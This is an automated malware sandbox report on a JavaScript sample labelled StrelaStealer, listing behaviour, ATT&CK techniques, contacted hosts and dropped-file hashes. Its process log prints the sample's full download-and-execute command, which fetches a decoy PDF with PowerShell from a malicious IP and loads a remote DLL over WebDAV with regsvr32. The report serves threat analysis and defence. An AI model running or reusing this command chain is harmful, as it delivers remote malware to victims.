Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1957514819973625739.js	5%	Virustotal		Browse
1957514819973625739.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/cys3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/SyC3#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/cys3	net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/SyC3#	net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2987928904.0000021306E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1759744427.0000021306CA2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1753884546.00000244B1CB0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1753884546.00000244B1CB0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749346928.00000244B1CFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754101767.00000244B1CFE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1759744427.0000021306CA2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588312
Start date and time:	2025-01-10 23:51:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1957514819973625739.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 23.209.209.135, 2.23.242.162, 217.20.57.35, 3.219.243.226, 4.245.163.56, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:52:32	API Interceptor	21x Sleep call for process: powershell.exe modified
17:52:35	API Interceptor	1x Sleep call for process: net.exe modified
17:52:36	API Interceptor	2x Sleep call for process: svchost.exe modified
17:52:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307355378145652
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrM:KooCEYhgYEL0In
MD5:	E5B6DC4BAE657B700A1EACB376A12E6D
SHA1:	C9BFC3427DF7B8498ED5B8AAC100B11BC53FF2A6
SHA-256:	789B2A16861F14BAAEB3912CF9E5D96A26E81F10C42D6455B1B11835AD621839
SHA-512:	078B804D8B6ACC6961016CE440E61BAF8D582A423442A2423FD760BAEC6CFD236C75697BE284A716A0EB833C80B56E6C6949BE72DA569F386D81577969F3F8BE
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x031f8a92, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215298227088593
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	FDB5058F65573DED3C4AEA9F04BDA41B
SHA1:	89C7A10B3D19404E379D168B79991954D25AFFA7
SHA-256:	02771DAD5717058465D182D8E2A9690980692EFAA5381AB5928D31A6F4578888
SHA-512:	EDEB00CC5AB37DF016486E3B40AA17DE99FC8281201C48D4FAFD212DA5B2F987A1FC3B11FFB23952C2CA2C9DFBA4412716E4D28E5D96397E8209BBB3CA76D910
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.%4...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................%4...}]...................'1%4...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07722811369453877
Encrypted:	false
SSDEEP:	3:mMryYe3Tjn13a/2EVGollcVO/lnlZMxZNQl:mNz3T53q2EVzOewk
MD5:	9B42B8DE09604760EE2952DDE82A8206
SHA1:	65282D476B7D16F785FF55972EC05154B8FB116B
SHA-256:	E232F0852AD5DE5145B829900AF106C76C89D6F84449BB2B6E040A1F1D1CA447
SHA-512:	1E4BAAC7B8A779AA37AA352B5DB679EC8DF63D20A23903CEE3B84FBB12801708BA04F19DD81E0FC13F34AF46A2547DE41EDB4289E7B59CB967692BBE5435B7FA
Malicious:	false
Preview:	...3.....................................;...{..%4...}.......{A..............{A......{A..........{A]..................'1%4...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2054862252723
Encrypted:	false
SSDEEP:	6:iO4f9U+q2Pwkn2nKuAl9OmbnIFUtSfYZmwsfoVkwOwkn2nKuAl9OmbjLJ:7kLvYfHAahFUt6Y/gA5JfHAaSJ
MD5:	4C5E5033AB7EE4D2C3D7F7EA112BC1B6
SHA1:	18D173715E6C5B910C0A5EA42B06D8F5DEA622F3
SHA-256:	B1A9739418D0754F416AC818A7466F680C25C7B513A93303E284B8808157D8DB
SHA-512:	C057729F80EBD7205519422F8DCBE715843F8072AE45DE9A39C21F1F6B699A32525A2ED81EF5BF8288691BAA78A63170EC8C49B9A34F69D6376D414022A46C35
Malicious:	false
Preview:	2025/01/10-17:52:35.554 17e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:52:35.556 17e8 Recovering log #3.2025/01/10-17:52:35.556 17e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2054862252723
Encrypted:	false
SSDEEP:	6:iO4f9U+q2Pwkn2nKuAl9OmbnIFUtSfYZmwsfoVkwOwkn2nKuAl9OmbjLJ:7kLvYfHAahFUt6Y/gA5JfHAaSJ
MD5:	4C5E5033AB7EE4D2C3D7F7EA112BC1B6
SHA1:	18D173715E6C5B910C0A5EA42B06D8F5DEA622F3
SHA-256:	B1A9739418D0754F416AC818A7466F680C25C7B513A93303E284B8808157D8DB
SHA-512:	C057729F80EBD7205519422F8DCBE715843F8072AE45DE9A39C21F1F6B699A32525A2ED81EF5BF8288691BAA78A63170EC8C49B9A34F69D6376D414022A46C35
Malicious:	false
Preview:	2025/01/10-17:52:35.554 17e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:52:35.556 17e8 Recovering log #3.2025/01/10-17:52:35.556 17e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.167626547651134
Encrypted:	false
SSDEEP:	6:iO4f6Iq2Pwkn2nKuAl9Ombzo2jMGIFUtSfkZZmwsfkzkwOwkn2nKuAl9Ombzo2jz:7kLvYfHAa8uFUt64/gg5JfHAa8RJ
MD5:	AB193EED09CE23B18EC2EF8602588631
SHA1:	A1EF95F07252A94C1445CCE9DF3FF215112A32A9
SHA-256:	BC4E6E5A44E22E9AE4DC66002FF95DC66FEE048D4AE9EB830B0B98366BE69987
SHA-512:	304C8C4FAF79FDA6A861BA6314C4A7858191C0B0BDFC99F6EA732B994C14678C2420BA9B6858820E135229F6BDCB1EE911C43644FA87ED0CD266E6EE604B40B4
Malicious:	false
Preview:	2025/01/10-17:52:35.911 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:52:35.913 1c40 Recovering log #3.2025/01/10-17:52:35.913 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.167626547651134
Encrypted:	false
SSDEEP:	6:iO4f6Iq2Pwkn2nKuAl9Ombzo2jMGIFUtSfkZZmwsfkzkwOwkn2nKuAl9Ombzo2jz:7kLvYfHAa8uFUt64/gg5JfHAa8RJ
MD5:	AB193EED09CE23B18EC2EF8602588631
SHA1:	A1EF95F07252A94C1445CCE9DF3FF215112A32A9
SHA-256:	BC4E6E5A44E22E9AE4DC66002FF95DC66FEE048D4AE9EB830B0B98366BE69987
SHA-512:	304C8C4FAF79FDA6A861BA6314C4A7858191C0B0BDFC99F6EA732B994C14678C2420BA9B6858820E135229F6BDCB1EE911C43644FA87ED0CD266E6EE604B40B4
Malicious:	false
Preview:	2025/01/10-17:52:35.911 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:52:35.913 1c40 Recovering log #3.2025/01/10-17:52:35.913 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\449e84d4-7b4f-4305-a20f-b6090715881c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971526291612494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEBsBdOg2H8fcaq3QYiubInP7E4T3y:Y2sRdshSdMHL3QYhbG7nby
MD5:	BA6D3EA43F640DF7D87E379EFE12967B
SHA1:	1D826ADC5D4CF26195744CE42C3F23021CDBC06C
SHA-256:	1DEA4F177075C0EF28EA725B880A12AFFE6E1660718A0B60D218DC16593A38A8
SHA-512:	977F53B609CE853A6EFD9FA170DF1A8F850755DB6A31B03C698B9A6D2BF78B644D3F411A2AC145A0469B7A20CB119E7AD1FC24547997B96ABC2701874C426873
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109567344067","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125381},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971526291612494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEBsBdOg2H8fcaq3QYiubInP7E4T3y:Y2sRdshSdMHL3QYhbG7nby
MD5:	BA6D3EA43F640DF7D87E379EFE12967B
SHA1:	1D826ADC5D4CF26195744CE42C3F23021CDBC06C
SHA-256:	1DEA4F177075C0EF28EA725B880A12AFFE6E1660718A0B60D218DC16593A38A8
SHA-512:	977F53B609CE853A6EFD9FA170DF1A8F850755DB6A31B03C698B9A6D2BF78B644D3F411A2AC145A0469B7A20CB119E7AD1FC24547997B96ABC2701874C426873
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109567344067","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125381},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258027614834848
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7pnj8:etJCV4FiN/jTN/2r8Mta02fEhgO73goS
MD5:	987A0546C54D7329A55D91452E9CA652
SHA1:	5FD9F5209BC6382D7BAFFE8AA8D8B3D0B86B724D
SHA-256:	8DE377AC623C949BF4FB37E45AEA45F77C294944BC3DBCB73666B8F81F134A7C
SHA-512:	B4EBB5105FE028B6A0D8C31332583458550FD014EA0E52B62FBB311EB9F1576F72F2D62B3267EE776DB7FDCB70714E116B85F723A46B6D87A351AD457925F430
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198003858241358
Encrypted:	false
SSDEEP:	6:iO4fCvq2Pwkn2nKuAl9OmbzNMxIFUtSffiZmwsffOkwOwkn2nKuAl9OmbzNMFLJ:7kCvvYfHAa8jFUt66/gG5JfHAa84J
MD5:	8C5FC566B578C5CE866E0633C378942D
SHA1:	294D4D82653ED94DBC693734EE33A0B63698E8F2
SHA-256:	4854F3C425D93B2D8CA9ACD32FAACD38AFB39970117B862B853A6A69F592E451
SHA-512:	F710363A5A9F4CF3659A290CC99771FB1441FC960BFD51B4F8388BE37B2A858DCEADE06CAD36D962B6AE7DDA64A3803ADC8F6EC354B0E639D49F7B2F85B488C7
Malicious:	false
Preview:	2025/01/10-17:52:36.580 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:52:36.585 1c40 Recovering log #3.2025/01/10-17:52:36.585 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198003858241358
Encrypted:	false
SSDEEP:	6:iO4fCvq2Pwkn2nKuAl9OmbzNMxIFUtSffiZmwsffOkwOwkn2nKuAl9OmbzNMFLJ:7kCvvYfHAa8jFUt66/gG5JfHAa84J
MD5:	8C5FC566B578C5CE866E0633C378942D
SHA1:	294D4D82653ED94DBC693734EE33A0B63698E8F2
SHA-256:	4854F3C425D93B2D8CA9ACD32FAACD38AFB39970117B862B853A6A69F592E451
SHA-512:	F710363A5A9F4CF3659A290CC99771FB1441FC960BFD51B4F8388BE37B2A858DCEADE06CAD36D962B6AE7DDA64A3803ADC8F6EC354B0E639D49F7B2F85B488C7
Malicious:	false
Preview:	2025/01/10-17:52:36.580 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:52:36.585 1c40 Recovering log #3.2025/01/10-17:52:36.585 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44486712370716
Encrypted:	false
SSDEEP:	384:yezci5tMiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rrs3OazzU89UTTgUL
MD5:	BAD8FA3A79972D011ED55BBE4159FF23
SHA1:	D79B61ED94B8DAEF3A6AEADAC9AF01AECEE8D064
SHA-256:	0DB01A2EDDC2EC6EF8F9E86176683AB37A29D01E1D15834CBF453AFCD8D2D231
